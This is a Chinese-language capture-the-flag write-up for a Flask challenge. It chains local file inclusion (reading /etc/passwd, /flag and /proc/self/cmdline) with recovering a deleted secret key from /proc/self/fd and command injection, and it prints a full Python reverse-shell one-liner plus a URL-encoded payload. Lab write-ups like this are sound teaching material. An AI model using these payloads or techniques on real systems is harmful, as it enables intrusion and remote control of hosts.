考点
文件包含(python)
代码审计(python)
命令执行(python)
前置知识
python反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
解题过程
打开
就一个输入框,提交数据后会跳转到page页面,请求参数名为url,感觉像ssrf,其实不是,但还是可以通过传入 url链接去读取网页源代码,并且返回为 一个名为 beautiful.jpg
的文件,用文本打开实际上是个网页。
尝试包含 /etc/passwd
也成功包含出来。
非预期解
这里直接尝试包含了下 /flag
,发现直接包含了出来。
预期解
接下来通过读取 /proc/self/cmdline
来查看当前进程的执行命令
读取 app.py,得到
1 | from flask import Flask, Response |
代码审计
通过审计,发现在manager函数中存在命令执行,有一个条件,没有过滤。
1 | if key == SECRET_KEY: |
传入的 key 要等于 SECRET_KEY,那么这个SECRET_KEY 要怎么获取呢。
1 | SECRET_FILE = "/tmp/secret.txt" |
通过上面代码可以知道,从/tmp/secret.txt
中读取到SECRET_KEY后就会把这个文件删除,这就会导致我们读取不到。
Linux当中,文件只要没有关闭,就会读取到内存当中,就算是remove也是一样,打开的文件存在/proc/[pid]/fd
路径下,这个路径下有很多以数字保存的文件,例如 /proc/self/fd/1
这样。
bp启动,爆破。
得到
getshell
1 | key = request.args.get("key") |
拿到看KEYCRET_KEY,就可以执行命令了,但是这里即便执行成功,也只会返回ok,这里我们用python反弹shell。
先在服务器当监听
构造payload
1 | no_one_know_the_manager?key=TdCTIhB6KGIVLP1AYx623LPgIFlKIZeXjQEIecV1ZtA=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
url编码
1 | python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22IP%22,PORT));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);'%0A |
提交,在根目录下。
总结
这道题没什么难度,考得都很是常识,但我就是偏偏不会,通过读取 /proc/self/cmdline
来查看当前进程的执行命令,通过读取/proc/self/fd/1
查看在内存中的文件,学到了学到了。